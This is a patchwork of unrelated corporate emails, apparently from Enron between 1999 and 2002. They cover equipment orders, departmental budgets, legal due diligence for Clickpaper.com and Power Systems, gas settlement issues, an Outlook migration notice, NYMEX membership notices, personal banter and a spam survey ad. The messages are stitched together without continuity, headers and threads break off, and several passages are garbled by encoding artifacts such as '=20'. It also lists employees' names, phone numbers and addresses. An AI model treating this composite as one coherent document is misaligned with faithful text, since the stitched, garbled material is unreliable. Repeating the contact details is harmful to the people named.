Sent:	Wednesday, August 01, 2001 3:46 PM
To:	Krimsky, Steven
Subject:	Letter to Kay Mann

 <<7M3X01!.DOC>>

The information contained in this transmission may contain
privileged and confidential information.  It is intended only
for the use of the person(s) named above. If you are not the
intended recipient,  you are hereby notified that any review,
dissemination, distribution or duplication of this
communication is strictly prohibited. If you are not the
intended recipient, please contact the sender by reply email
and destroy all copies of the original message.

To reply to our email administrator directly, please send an
email to postmaster@gtlaw.com.

 - 7M3X01!.DOC 

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 05/04/2001 
10:15 AM ---------------------------

cc:  

Jim

Misc.

Denise -- can you order this for me?
Let me know if you need any info.
I'll need the laptop plus 2 docking stations, one upstairs and one down.
And a normal monitor & keyboard.
---------------------- Forwarded by Susan Scott/ET&S/Enron on 11/02/2000 

Jeff Nguyen
10/30/2000 01:49 PM
cc: Karon O'Gorman/OTS/Enron@ENRON 

Subject: Armada M700 - Laptop Purchase

Susan,

I've spoke to our purchasing person, Karon O'gorman, about an order status in 
Omaha.  According to Karon, all purchasing from Omaha and Houston goes 
through her.  Therefore, if you need to order a new laptop, Karon can handle 
all of the arrangements for you.

Thanks,

Dan, let's go with the following as modified.  Thanks,  Mark
----- Forwarded by Mark E Haedicke/HOU/ECT on 09/07/2000 03:27 PM -----

	Dan Lyons
	09/01/2000 05:26 PM
		 
		 cc: 
		 bcc: 
		 Subject: Power Systems

Mark, attached is the draft of the email to the deal team (with copies to you 
and Dave D)

[Distribution]

Prior to the equity investment in and joint venture with Power Systems 
Manufacturing ("PSM"), we will need to take the following actions:

+ Conduct additional due diligence on the PSM/General Electric ("GE") lawsuit 
regarding infringement of GE patents.  We will need to determine if the 
litigation will affect the viability of PSM as the operator or ENA as owner 
of the equipment involved in the litigation.  This will commence immediately 
and a brief legal opinion obtained on these points.

+Conduct legal patent due diligence on the mobile power units that are the 
subject of the proposed joint venture and obtain legal opinions with respect 
to both the component parts being acquired and the proposed modified  units 
themselves.  [Timing]

That is fine with me

03/22/2000 09:09 AM
To: Ted Murphy/HOU/ECT@ECT
cc: Donna Lowry/HOU/ECT@ECT, Sheila Glover/HOU/ECT@ECT 
Subject: Additional "Authorized Trader" for equity account

Sheila Glover has requested that David Vitrella be designated as a second 
"Authorized Trader" for the Enron Communications Investments Corp. account 
which was recently opened with Morgan (having as its purpose the sale of 
Rhythms stock).  The rationale for a second trader is not new to us:  in John 
Greene's absence, no one is authorized to trade in that account.  It is my 
understanding that the only activity to occur in this account is the sale of 
this particular stock which will be "dribbled in" periodically.  Please let 
me know if you have any questions.  Both Donna and Sheila are very familiar 
with this transaction.  Sara   

Please disregard the previous allocations, because I forgot EnronCredit.com!  
Here goes:
RAC 20%
UK Power 15%
UK Gas 5%
Continental Power 15%
Continental Gas 3%
Global products 7%
EBS 10%
EES 10%
EnronCredit.com 15%

That should do it.
---------------------- Forwarded by Steven Leppard/LON/ECT on 08/24/2000 

08/24/2000 10:46 AM
cc: Vince J Kaminski/HOU/ECT@ECT, Grant Masson/HOU/ECT@ECT, Stinson 
Gibner/HOU/ECT@ECT, Steven Leppard/LON/ECT@ECT 

Subject: Budget

Hi Dale

Following discussions with Vince, Grant and Stinson, we've drawn up the 
proposed budget.  We're working on the basis that Research Group headcount 
will grow to 8 in the near future.

Business trips US: 8
Business trips Europe: 10

Computer software and licences: GBP 10,000
Office postage: GBP 350
Employee recruitment fees: GBP 30,000 ( = 3 x 20% x GBP 50,000)
Professional subscriptions and memberships AND books: GBP 15,000
Training courses: GBP 16,000 ( = 8 x GBP 2,000)
Conferences: GBP 8,000 ( = 4 x GBP 2,000)
Mobile phones: GBP 1,500 ( = 3 x GBP 500 = me + 2 floaters)
Hardware: GBP 10,000 ( = laptops, workstations)

Suggested allocation as follows...
RAC 20%
UK Power 20%
UK Gas 5%
Continental Power 20%
Continental Gas 5%
Global products 10%
EBS 10%
EES 10%
...unless you've got any other views on this one (I'm happy to take advice 
here).

Vince has said you can give him a call if you want to discuss any of these 
points further, but I'm happy to field initial queries (I'll have to get used 
to it!).

Cheers,
Steve

Please plan on attending our second in a series of Credit/Legal seminars.  
This seminar will be held on  Thursday, March 22nd, from 2:00 - 3:30 p.m. in 
EB49c3 and will start out with a continuation of our first session which 
covered Credit issues raised in the ISDA Master Agreement and Omnibus General 
Terms and Conditions.  Refreshments will be provided.  Please e-mail my 
assistant, Becky Spencer, if you are unable to attend.

B, 

I have had the following problems with the recruiting process recently:

1)  After leaving Toni a message stating that I wanted to offer a postion to 
Liz Bellamy, additional interviews were being set up for other groups to 
interview her.  Liz had shown up on Dave Baumbach's schedule 2 or 3 times, 
even after his manager, Steve Venturatos, interviewed her for me.  Pat Clynes 
fond that this was happening while I was out of the office and immediately 
called Toni to get it straightened out.  Toni called me at home, which is 
good, but whe was not logged into the system, so she was not prepared to 
discuss information with me.

2)  At first, Toni was not very responsive to colls/voice mails.  This has 
improved over the last week.  She has called me a couple of times awaiting my 
decision on salary concerns.  So, I think that she is trying to stay on top 
of this now.

Otherwise, I have had limited intreraciton with recruiting.

D

click here. http://www.optin-offers.net/ednu/?e=pmims@enron.com

Everyone has an opinion...
..Share yours with us and we'll give you chances to WIN CASH!

If you are interested in completing surveys for the chance to win cash and
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Your privacy is of great concern to you and to NPD.  Any information you
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anything, and we will never sell your personal information. Participation
is free and confidentiality is guaranteed. You can count on that.

HOW DO I GET STARTED?

See our site for Official Sweepstakes rules.

Sounds good.  I'll be around all week and weekend.

I'd love to see Johnson.  That guy is like educated and stuff now.

> From: Mark.Guzman@enron.com [SMTP:Mark.Guzman@enron.com]
> Sent: Tuesday, November 07, 2000 3:50 PM
> To: Pacewic Ben T
> Subject: RE: beaver game
>
>
> I switch back and forth from night to day shifts it depends on the week.
> I
> have been working day shifts this week.  I would say I would like to watch
> the game but I am actually going to the game.  What about a beer later in
> the week or this weekend.  I think Johnson might be in town soon, I
> reecieved an email from him this week.
>
>

I'd like to hold off sending this to EECC until we have the PPA issues 
completely addressed.

Scott

To: Ron Tapscott/HOU/ECT@ECT, Scott A Monson/HOU/ECT@ECT
cc: Steve Van Hooser/HOU/ECT@ECT 
Subject: Mooring Construction

Attached is a revised construction agreement (redlined version) incorporating 
the changes we discussed.  I have not changed either the liquidated damages 
or force majeure provisions at this point.  Ron, you indicated in your voice 
mail that you wanted to wait until things firmed up a bit more with respect 
to those provisions.  Please review and let me know if you have any questions.

Not sure if we should forward to EE&CC at this point yet, given the 
uncertainty on the two provisions.  What are your thoughts?  Thanks

Date suggested: May 24, 2000

Employee Name: CRENSHAW, SHIRLEY J

Date suggested: Jun 01, 2000

Employee Name: GIBNER, PEYTON S

I did not.  This is the first notice I have had of this matter.  Jim

From: Rob Walls on 11/30/2000 10:08 AM
cc:  

Subject: Re: Clickpaper.com - Indian legal issues

Did you by any chance sign off on Justin's choice of Indian law firm?

----- Forwarded by Rob Walls/NA/Enron on 11/30/2000 10:08 AM -----

	Wade Cline@ENRON_DEVELOPMENT
	11/30/2000 09:16 AM
		 
		 To: Sandeep Katwala/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 Subject: Re: Clickpaper.com - Indian legal issues

Sandeep, 

Find out which firm Justin is discussing with. Hopefully, it is a "good" 
firm, both in terms of quality and absence of conflicts with what we've done 
in India to date. Let me know.

I hope Justin contacted someone in Enron legal with some experience in India 
before he hired a firm. Hopefully, he talked with you first, as this is 
common courtesy. Maybe he talked with Sarah G, and that would be fine also as 
she is generally aware of the Indian firms we use and don't use.
 
---------------------- Forwarded by Wade Cline/ENRON_DEVELOPMENT on 
11/30/2000 08:38 PM ---------------------------
From: Travis McCullough@ECT on 11/29/2000 07:47 PM CST
To: Wade Cline/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Sandeep Katwala/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Re: Clickpaper.com - Indian legal issues  

Wade:

Thank you for your quick response!

As I suspected, I was slow on the draw.  Justin Boyd with our London team has 
already directed a firm in India to start looking at these issues.

I'll forward your email to Justin, as he very well may want to coordinate 
some of this through Sandeep, if Sandeep has the capacity to help us out.  

Thanks again for your help.  

	11/29/2000 05:38 PM
		
		 To: Travis McCullough/HOU/ECT@ECT
		 cc: Sandeep Katwala/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT

Sandeep Katwala is our general counsel in India, and he should be able to 
work with you and outside counsel on this. Sandeep -- since this is a bit of 
a rush, I would like for either you or perhaps Lena to work directly with 
Travis and outside counsel and try to get some quick answers. 

Thanks,
Wade

From: Travis McCullough@ECT on 11/28/2000 12:23 PM CST
cc: John Cummings/HOU/ECT@ECT, Harry M Collins/HOU/ECT@ECT, Julia 
Murray/HOU/ECT@ECT, Justin Boyd/LON/ECT@ECT, Peter del Vecchio/HOU/ECT@ECT, 
Mark Taylor/HOU/ECT@ECT 

Subject: Clickpaper.com - Indian legal issues

Wade:

I hope things are going well for you.  It was good to see you the other day.  
I'm not even sure where you are right now, but I imagine that you are 
checking your e-mail, wherever you are.  I was hoping you could give us a 
little guidance on tracking down some Indian legal issues -- perhaps a 
reference to someone that could assist us.

Clickpaper.com is Enron's electronic  trading marketplace for pulp, paper and 
lumber products (including derivative products).  It is modeled after 
EnronOnline, but specializes in these commodities.  The team is in the 
process of registering customers around the world to access and trade on the 
Clickpaper website;  in keeping with the EOL business model, Clickpaper 
enters into access and trading agreements with every customer that govern 
their use of and trading on the site.

Those access and trading agreements are "jurisdiction specific" -- customized 
for the particular country in which the customer accessing the site is based 
-- in order to deal with jurisdiction-specific legal issues associated with 
accessing, or contracting via, the internet, financial trading, regulatory 
issues, etc.   

The team has identified India as having a large number of potential 
customers, and is attending a trade show in New Delhi in early December, and 
they would like to be able to sign customers up at that trade show, or at the 
very least arrange to give them access to the site.  We therefore need to 
consult with legal counsel in India to identify any issues and prepare an 
apporpriate access and trading agreement.  EnronOnline has developed a due 
diligence checklist which is very helpful in describing our business model 
and raising specific legal issues that we are likely to encounter.

Could you refer me to in-house counsel or an outside firm that could assist 
us with this project on an expedited basis (isn't that always the case 
here)?  I would really appreciate any help you could give to us.

To the other  recipients of this message  -- I know that there are several 
people working on this project -- if you already have this project underway, 
please let Wade and I know so we aren't duplicating  your efforts.  Thanks. 

Steve,

Your access to LiveLink has been confirmed.  The link below will take you 
directly to the application.  The LiveLink team has offered to provide you an 
overview on navigating through the system.  At your convenience, they will 
send someone to your desk to give you the quick the tutorial.

Thanks,
Marie
----- Forwarded by Marie Hejka/Corp/Enron on 02/15/2001 11:24 AM -----

	02/14/2001 06:02 PM
		 
		 cc: Maureen McVicker/NA/Enron@Enron
		 Subject: LiveLink

Steve,

I've requested you be given access rights to LiveLink.  This should be 
completed by tomorrow morning.  I will notify you when it is complete.   

After, use the url below to take you directly to the folder in Livelink where 
the IM project information is housed.  

http://edms.livelink.enron.com/ena/livelink.exe?func=ll&objId=7579535&objActio
n=browse&sort=name

Marie 

I plan to send the legislative package to DOE in about 45 minutes.  Here's 
the final interconnection language.  Thanks

The VisuPro download for Monfort is on the Zoom network:
ScadaData:\\Monfort\2002\Apr\Apr10\

Data sets for Apr 5
  Apr 8
  Apr 10

-John

Approved

Sent:	Monday, January 28, 2002 8:28 AM
Subject:	Credit request Oneok Bushton Processing

Shipper :		Oneok Bushton Processing, Inc.
Contract # :		25374
MDQ:			12,500 Dth/d
Rate:			$0.10
Term:			February 1, 2002 through February 28, 2002

ETS

Pursuant to today's conference call, attached please find a prioritized
list of legislation we are monitoring during the second extraordinary
session.

 - legislative update 6-21-01.doc 

My husband and I will be closing on the house we are buying on Friday @ 
1:00p.m.  I will be leaving work on Friday @12:00.     Thank you!   

Reagan thought you may like to see the Bracewell draft of an Asset Management 
Agreement for AIG.

Read it, file it, or throw it away.  Completely your call.

Heather
From:  "Jay Sonnenberg" <jsonnenberg@bracepatt.com>@ENRON 
[mailto:IMCEANOTES-+22Jay+20Sonnenberg+22+20+3Cjsonnenberg+40bracepatt+2Ecom+3
E+40ENRON@ENRON.com] 
Sent: Tuesday, April 10, 2001 11:57 PM
To: Kroll, Heather; Pagan, Ozzie; steve.van.hooser@enron.com
Cc: Aaron Roffwarg; W. Cleland Dade; Clark Thompson; Scott Miller
Subject: AIG Asset Management Agreement/Brokerage Agreement

Attached please find the initial drafts of the proposed Asset Management 
Agreement and Brokerage Agreement for your review.  We'll be prepared to turn 
around these documents to AIG tomorrow.

Jay

Jay Sonnenberg
Bracewell & Patterson, L.L.P.
711 Louisiana St., Suite 2900
Houston, TX  77002-2781
(713) 221-1417 (Ph)
(713) 221-2158 (Fax)

 - #1142119 v3 - ASSET MANAGEMENT AGREEMENT.doc
 - #1276593 v2 - BROKERAGE AGREEMENT.doc

	Gary, would one of the following dates and times work for you and your group?

		November 1 - in the afternoon
		November 13 - in the morning
		November 14 - in the afternoon

	Please give me a call and let me know if any of these work.  I am assuming you planning
	on 1 hour?  Is that right?  Thanks. Lynn

From: 	Anderson, Gary E.  
Sent:	Tuesday, October 23, 2001 1:14 PM
To:	Blair, Lynn
Cc:	Stern, Ellis
Subject:	Gas Logistics Presentation

Caroline Barnes has indicated that you have a presentation put together that briefly covers the purpose and function of  Gas Logistics, and how this department  interacts with other departments. I was wondering if you would be interested in making the presentation to GMS personnel to better understand how Measurement impacts your department. Please let me know if you have an interest and when you might be available and  I'll arrange for the conference room to be available.
Thanks-
Gary

----- Forwarded by Tana Jones/HOU/ECT on 06/14/2000 09:51 AM -----

	Tom Moran
	06/13/2000 02:09 PM
		 
Enron Europe Global CounterParty, Stephanie Sever/HOU/ECT@ECT
		 cc: Samantha Boyd/NA/Enron@Enron
		 Subject: EOL / Credit / GCP Responses 6/13/00

Please find attached Credit's EOL responses for 6/13/00.

Regards
tm 

In addition, to learning about the $0.15 default allowance for buyback 
volumes, I have also discovered that we need to deduct another $0.15 to $0.18 
per MMBtu to cover firm transportation costs that we incur as a result of 
this transaction.  The cost will vary depending on the fuel costs.  The 
transport cost is made up of $0.0103 commodity fee, $0.07 demand fee and fuel 
of 1%.

Please provide some direction on this, as I will need to adjust the pricing 
in sitara, but would like to make sure that I'm performing the correct 
procedure.

P.S. I do agree with your last e-mail .

I've been in you house since then.  I also have a doggie book in the back of 
my car that belongs to you.

cc:  
Subject: Re: West Region Job Posting  

You haven't seen me since Thanksgiving Day...you don't want to break your 
record now.....

Chris Germany@ECT
04/06/2000 02:46 PM
To: Marde L Driscoll/HOU/EES@EES
cc:  

C'mon - I want a free lunch.  I could interduce you to a new place, real 
close to work.

cc:  

No, 'cause you can't type!

04/06/2000 01:51 PM
cc:  

I think I might call.  Would you take me our for a free lunch?

---------------------- Forwarded by Judy Townsend/HOU/ECT on 11/27/2000 10:45 
   
	From:  Victoria Versen                           11/27/2000 10:30 AM
	
To: Judy Townsend/HOU/ECT@ECT
cc:  
Subject: HI 199 Imbalance

---------------------- Forwarded by Victoria Versen/HOU/ECT on 11/27/2000 
10:29 AM ---------------------------

Billyoung3@aol.com on 11/13/2000 10:21:11 AM
To: victoria.versen@enron.com, nferrie@enron.com
cc:  

Vicki - Kenny Orr indicates that we are out of balance with Vastar for 
SEP/OCT. We should make up in Nov. Lets do 15,000 for 17 days, whenever we 
are above baseload quantities. 

Please call if you have questions.

I believe we are just waiting to resolve the guaranty issues.  Is there 
anything I need to do at this time?

From: Sara Shackleton@ECT on 11/16/2000 01:26 PM
cc:  

Subject: SITA

Matt Dawson in London was inquiring about this agreement.  He'll want to know 
when we are finished because he has a London paper trader nagging him.  SS

FYI

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 08/24/2000 

	Michael Anderson @ AZURIX
	08/23/2000 07:48 PM
	
cc: keith.harris@wessexwater.com 
Subject: UK RAB Multiples

I talked with Keith Harris, our CFO at Wessex, about the RAB multiple graph I 
gave you.  He expressed that the Wessex people had originated the data and 
that the graph was correct, to the best of their knowledge.  The only (but 
very important correction) is that they started the graph at an index of 
100%, which does not imply a 100% of RAB multiple.  Rather, the initial RAB 
multiple was around 80%, implying that the entire line should be taken down 
by 20 percentile points.  Thus the all time hime in late 98 should be closer 
to the 1.3x RAB that I had targeted during our discussion.  Please call Keith 
if he has not yet contact you.

Start Date: 12/14/01; HourAhead hour: 24;  HourAhead schedule download failed. Manual intervention required.

I'll be right over wearing a cleaning lady skirt - just for you.

From: 	Blaine, Jay  
Sent:	Monday, June 04, 2001 1:42 PM
Subject:	Lunch

How about you serve me lunch in bed and sing me a lala bye before I start the night shift.
---------------------- Forwarded by Jay Blaine/HOU/EES on 06/04/2001 01:40 PM ---------------------------
From:	Chris Germany/ENRON@enronXgate on 06/04/2001 12:01 PM
To:	Jay Blaine/HOU/EES@EES
cc:	 

I assume you and I are going to lunch tomorrow right before you go home to take a nap.  Right???????

As I discussed with the commercial group, it is very difficult to post a minimum NPV because it depends not only on the term but on other assumptions in James' chart as well.  (Steve can shed some more light on this if you see him at Keyex).
So I've recommended that we discuss with individual shippers what there needs might be as far as term, then give them a number.  They were planning on calling shippers individually anyway to make them aware of the Needles space.
We can use our chart as a go-by so everyone gets treated the same.  

From: 	Fossum, Drew  
Sent:	Thursday, April 12, 2001 12:24 AM
To:	Harris, Steven; Scott, Susan
Cc:	Miller, Mary Kay; Lindberg, Lorraine; Fawcett, Jeffery; Hyatt, Kevin; Lokay, Michelle; Lohman, TK; Pavlou, Maria
Subject:	RE: Red Rock posting -- URGENT

We need to clear up the "minimum bid" issue and this posting would be a good place to do that.  Can we put in a new sentence setting out the minimum NPV bid?  We need to create a paper trail on this issue in order to be able to fully respond to BP.  We have been telling customers orally what the minimum dollar value per DTH is, right (i.e., the 15 yr $.36, 10 yr $.45 and 5 yr $.60 or whatever it was, right)?  MKM  do you agree?  DF   

Sent:	Wednesday, April 11, 2001 8:29 AM
To:	Scott, Susan
Cc:	Miller, Mary Kay; Fossum, Drew; Lindberg, Lorraine; Fawcett, Jeffery; Hyatt, Kevin; Lokay, Michelle; Lohman, TK
Subject:	Re: Red Rock posting -- URGENT

Susan, this looks fine to me.

From:	Susan Scott/ENRON@enronXgate on 04/10/2001 05:03 PM
To:	Mary Kay Miller/ET&S/Enron@ENRON, Drew Fossum/ENRON@enronXgate, Steven Harris/ET&S/Enron@ENRON, Lorraine Lindberg/Enron@enronXgate
cc:	Jeffery Fawcett/ENRON@enronxgate, Kevin Hyatt/ENRON@enronxgate, Michelle Lokay/ENRON@enronXgate, TK Lohman/ENRON@enronxgate 

Subject:	Red Rock posting -- URGENT

Please see the attached.  Additions to our current posting are highlighted; deletions are crossed out.
The purpose of the revisions is to announce the availability (potentially) of Needles space, set a deadline for bidding (in anticipation of a stampede for the Needles space), state that bids will be evaluated on highest NPV, and to specify a pro rata allocation method.  If you see any problems with this posting, please call me as soon as possible.

 << File: REVISED OPEN SEASON NOTICE 2.doc >> 

---------------------- Forwarded by Christian Yoder/HOU/ECT on 03/22/2001 
03:35 PM ---------------------------
   
	From:  "JOHN G KLAUBERG" <JKLAUBER@LLGM.COM>                           
03/22/2001 03:40 PM
	
To: cyoder@ect.enron.com, Elizabeth.Sager@enron.com
cc: Brend.Whitehead@enron.com, "MICHAEL W E DIDRIKSEN" <MDIDRIKSEN@LLGM.COM> 
Subject: Risk Memo

Christian:  as per our discussion, here is the risk memo Elizabeth sent me 
today with a few edits.  I thought I might hear from Pirog so I could get it 
a "little closer" but I have not heard from him yet.  Elizabeth wanted this 
to go to Mark today.  Please call me if you have any questions.  John

"This e-mail, including attachments, contains information that is 
confidential and it may be protected by the attorney/client or other 
privileges.  This e-mail, including attachments, constitutes non-public 
information intended to be conveyed only to the designated recipient(s).  If 
you are not an intended recipient, please delete this e-mail, including 
attachments and notify me by return mail, e-mail or by phone at 212 
424-8125.  The unauthorized use, dissemination, distribution or reproduction 
of the e-mail, including attachments, is prohibited and may be unlawful.

John Klauberg
LeBoeuf, Lamb, Greene & MacRae, L.L.P.
212 424-8125
jklauber@llgm.com

 - Risk.doc

From: 	"Dunlap, Dave" <DDunlap@tradespark.com>@ENRON  
Sent:	Tuesday, January 08, 2002 9:30 AM
Subject:	happy new year

Glad to hear from ya toughguy.  I was just kidding about the grumpy jab.   I
could just tell Houston wasn't in your top 300 places to live in.    Glad to
hear your keeping it real up there.   Keep in touch.   I let you know about
stampede plans as we get closer.   Thanks again for the call.

Mr. Wonderful

CONFIDENTIAL: This e-mail, including its contents and attachments, if any, are confidential. If you are not the named recipient please notify the sender and immediately delete it. You may not disseminate, distribute, or forward this e-mail message or disclose its contents to anybody else. Copyright and any other intellectual property rights in its contents are the sole property of Tradespark, Inc.
     E-mail transmission cannot be guaranteed to be secure or error-free. The sender therefore does not accept liability for any errors or omissions in the contents of this message which arise as a result of e-mail transmission.  If verification is required please request a hard-copy version.
     Although we routinely screen for viruses, addressees should check all e-mail and any attachments for viruses. We make no representation or warranty as to the absence of viruses in this e-mail or any attachments. Please note that to ensure regulatory compliance and for the protection of our customers and business, we may monitor and read e-mails sent to and from our server(s).

For further important information, please see http://www.tradespark.com/full-disclaimer.html

I'm not sure, but could you ask Craig.

Julie

03/31/2000 12:30 PM
To: Julie Meyers/HOU/ECT@ECT
cc:  
Subject: Re: Mitchell Gas Services 2/00  

Is this still outstanding?  Craig is back in the office now.

D

Julie Meyers
03/20/2000 02:27 PM
cc:  
Subject: Mitchell Gas Services 2/00

---------------------- Forwarded by Julie Meyers/HOU/ECT on 03/20/2000 02:26 
   
	From:  Megan Parker @ ENRON                           03/20/2000 02:08 PM
	
cc: William C Falbaum/HOU/ECT@ECT 

We have a price difference with Mitchell Gas Services for 2/00 production, 
deal 156658.  We have HSC -0.05 and Mitchell shows HSC - 0.04.  Can you tell 
me what the correct price is?  I need this ASAP.

Megan

CompleteCrafts.com Newsletter - Feb. 1, 2001
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Your Date of Migration is: May 1st

Please go through your Notes email and clean out as many old/un-needed emai=
l=20
items as possible BEFORE your date of migration.? After you are migrated to=
=20
Outlook you will only be allocated 100MB of total Mailbox space.?? If more=
=20
than this amount of data is migrated to Outlook YOU WILL NOT BE ABLE TO SEN=
D=20
E-MAIL until it is below the 100MB limit.? Cleaning up your Notes email now=
=20
will prevent this from happening to YOU.

Enron=01,s messaging platform is migrating from Lotus Notes to Microsoft Ou=
tlook=20
2000 worldwide.  You will be accessing Outlook for all of your email=20
functions.=20

Many factors contributed to the decision to migrate from Lotus Notes to=20
Microsoft Exchange/Outlook.  The most prominent factors were:

? Significant advantages to moving to a product that is more integrated wit=
h=20
current Enron apps (Windows 2000, Office and Internet Explorer)
? More efficient Shared PC and Roaming User features
? Improved support and integration for Palm/CE devices
? Instant Messaging capabilities

? Email Messages.  From the date of your scheduled migration, the last (30)=
=20
thirty days of your Email will be converted for use in Outlook.
? All your folders in Notes you use to store email messages in.
? To Do Items
? Journal Items
? Calendar Entries dating from (1) one year in the past to (10) ten years i=
n=20
the future will be converted.
? Address Books, but NOT your Distribution Lists that you created.  You wil=
l=20
need to re-create these in Outlook.

Thank you,

Please mark your calendar's for the next "Budget/Priority" Meeting.  Rick has 
chosen the following dates and location:

Dates:  Arrive evening of Wednesday, Nov. 7, 2001
  Meeting Thursday, Nov. 8, 2001 --- 8:00 AM - 1:00 PM
  Meeting Friday, Nov. 9, 2001--- 8:00 AM - 3:00 PM

Location: The Broadmoor
  One Lake Avenue
  Colorado Springs, CO 80906
  719-634-7711

Thanks and please call if you have any questions.

gngr

---------------------- Forwarded by Chris Germany/HOU/ECT on 10/23/2000 08:54 

09/29/2000 04:43 PM
To: Gloria G Barkowsky/HOU/ECT@ECT, Wade R Price/HOU/ECT@ECT, Donnie 
Myers/NA/Enron@ENRON
cc: Paul J Leanza/DUB/EES@EES 
Subject: Re: CNG/Peoples Natural Gas  

Donnie, for July, adjust the Clinton volume to match the purchases from 
Phillips and Power Gas Marketing - DO NOT SEND OUT AN INVOICE ADJUSTMENT.  I 
may need to change the price on the sale to CLINTON so that our receivables 
are netting to 0.

For August, September, October, and November, make the Clinton volumes match 
the Phillips and Power Gas Marketing Supply and DO send an invoice adjustment 
to Clinton.

Paul, let me know if you have questions.  For July, the imbalance is actually 
in CES's pool and I have no idea how to adjust that.  For August forward, I 
believe we should just bill you for the actual metered production volumes 
since the imbalance will be in Clinton's pool.  Let me know if you want to 
make any price adjustments - knock a nickel off the price - I just want these 
deals to go away.  Oh yeah, and make Clinton a lot of money!

09/29/2000 09:22 AM
cc: Wade R Price/HOU/ECT@ECT, Donnie Myers/NA/Enron@ENRON 

Do we know yet how we are going to handle this problem??

09/21/2000 03:32 PM
cc: Mary Theresa Franklin/HOU/ECT@ECT 

Wade, for July and August, give me the actual volumes and price for Phillips 
and Power Gas Marketing behind Peoples.  AND are these volumes MCF's or 
MMBTU's?  AND do we back out any gathering charges on this gas?

09/21/2000 02:30 PM
Subject: CNG/Peoples Natural Gas

Chris - this buy/sell deal with Phillips (seller) and Clinton (buyer) is 
causing some
problems for these guys in settlements.  Wade is paying by mcf's, so when I 
change
the volumes for Phillips, it of course effects Donnie's volumes for Clinton.  
Should this
not be done as a buy/sell, or what should we do about this?  I will be out of 
the office
tomorrow, but back on Monday.  Donnie is needing an answer on this soon.  So 
far,
it looks like 07/00 and 08/00.  Thanks, Gloria
  
NYMEX Membership Services
May 1, 2001
Notice # MS-30

REINSTATEMENT OF MEMBERSHIP PRIVILEGES

Please be advised that effective with the close of business, May 1, 2001, t=
he=20
following member(s) have reinstated their membership privileges:

Peter Sepe (SEPE-3496) as a Lessee Member with a qualified trader guarantee=
=20
provided by MBF Clearing Corp.

SWITCH OF LESSOR

he=20
following member(s) will switch their lessor within the Exchange:

Michael Frenda (MFR-6272)

Randy Rechten (RDEL-4287)

Robert Essig (STX-3371)

NOTICE OF INTENTION TO SWITCH QUALIFYING CLEARING MEMBER

 Please be advised that effective with the close of business, May 1, 2001,
Man International Inc., will no longer guarantee the following member(s):

Stephen P. Willner (SPW-247)

James Sims (JMS-7307)

 However, the above mentioned will remain a member guaranteed by Pioneer=20
Futures, Inc.  In connection therewith, notification of any claims against=
=20
the aforementioned individuals arising out of transactions executed on the=
=20
Exchange up to the close of business May 1, 2001, must be submitted to the=
=20
Corporate Secretary=01,s Office within (10) ten days.

 Members and Member Firms have (10) days from the date of this notice to=20
advise the Corporate Secretary=01,s Office of any claims in accordance with=
 Rule=20
2.51.

 Inquiries regarding the above should be addressed to the Member Services=
=20
Department at 212-299-2379.

email.

refdo
c=3D(MS-30)"

Hi Rick.  forgot to put you on the copy list for this one.
----- Forwarded by Susan M Landwehr/NA/Enron on 06/27/2001 08:31 AM -----

	06/27/2001 08:20 AM
		 
		 To: Laura Luce/Enron@EnronXGate, Russell  E Murrell/Enron@EnronXGate, 
Christi L Nicolay/HOU/ECT@ECT, Ed McMichael/Enron@EnronXGate, Terri 
Clynes/Enron@EnronXGate
		 cc: Harry Kingerski/NA/Enron@Enron, Jennifer Thome/NA/Enron@Enron, Daniel 
Allegretti/NA/Enron@Enron, James D Steffes/NA/Enron@Enron, Janine 
Migden/NA/Enron@Enron, Lisa Yoho/NA/Enron@Enron, Roy Boston/HOU/EES@EES
		 Subject: Minnesota/Price RIsk Management

All--earlier this week the Minnesota PUC and the Department of Commerce 
jointly hosted a workshop on on "LDC RIsk Management".  There was a 
presentation by Ken Costello from NRRI based on a paper that he has written; 
a panel consisting of reps from Reliant Minnegasco, Xcel, UtiliCorp, Alliant 
and MDU Resources (Great Plains); and a presentation from Blake Herndon of 
Williams Energy.  The discussion focused exclusively on natural gas--nothing 
on power. Two of the five Commissioners sat in on parts of the presentation 
along with a number of staffers.

There was (as always seems to be the case) no clear indication from the 
workshop what actions would take place as a result of the discussion.  My 
sense would be that there may be an investigatory or study docket opened, but 
not a formal proceeding that would lead to any meaningful policy 
implementation requiring risk management to be utilitzed. I think that the 
PUC is open to approving modest plans that the LDC might bring before them, 
but they are not willing to be proactive.

Although it was not stated publically, in my private conversations with the 
utilities I got a strong sense that Xcel would be coming with some type of 
proposal--possibly a request for pass thru on limited premium costs.  Alliant 
and MDU will not, and I think Utilicorp will do something along the lines of 
filing for a fixed price option that will be offered to their residential 
customers. As  I had indicated in a previous e mail, Reliant has already 
gotten approval for pass thru of call option premiums and I think that they 
are also petitioning for a fixed price option for residential customers.

Call if you have any questions--#612-339-4599-- or would like copies of any 
materials.

Notice No:  01-71
February 27, 2001

CANDIDATES=01, FORUM

Please be advised that a Commodity Exchange, Inc. candidates=01, member for=
um is=20
scheduled to be held on MONDAY, MARCH 5, 2001 at 2:45 p.m. in the Seminar=
=20
Room of the Exchange, One North End Avenue, New York City.

=20

=20

email.

.com&
refdoc=3D(01-71)"

---------------------- Forwarded by Sara Shackleton/HOU/ECT on 12/16/99 03:11 
   
	From:  Rodney Malcolm                           12/16/99 09:52 AM
	
To: Rogers Herndon/HOU/ECT@ect, James Simpson/HOU/ECT@ECT, Berney C 
Aucoin/HOU/ECT@ECT, William S Bradford/HOU/ECT@ECT, Tracy Ngo/HOU/ECT@ECT, 
Joseph M Deffner/HOU/ECT@ECT
cc: Stuart Zisman/HOU/ECT@ECT, Elizabeth Sager/HOU/ECT@ECT, Sara 
Shackleton/HOU/ECT@ECT 
Subject: Initial Draft of the Physical PPA for Project Moosehead

Attached is an initial draft of the physical PPA for Project Moosehead.  The 
draft for the financial PPA will be ready this afternoon for distribution.  
Given the extremely tight time frame we are under I would appreciate any 
comments you may have as soon as possible.  

Thanks, 
Rodney Malcolm

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9/5/2001 - NY trans id 5088192 for 255 mw missing in enpower.  I'll be in New York all week so if you have any questions please get with Michael Jacobson, x-3-5098.

Enron
713-345-2714

Please provide the following lawyers with a guest ID to the above website.  
The individuals listed next to the products will check any online GTC's (we 
think there are none), and/or short or long product descriptions to determine 
whether we are happy with the language/contract terms.

Stacy Dickson-nat gas
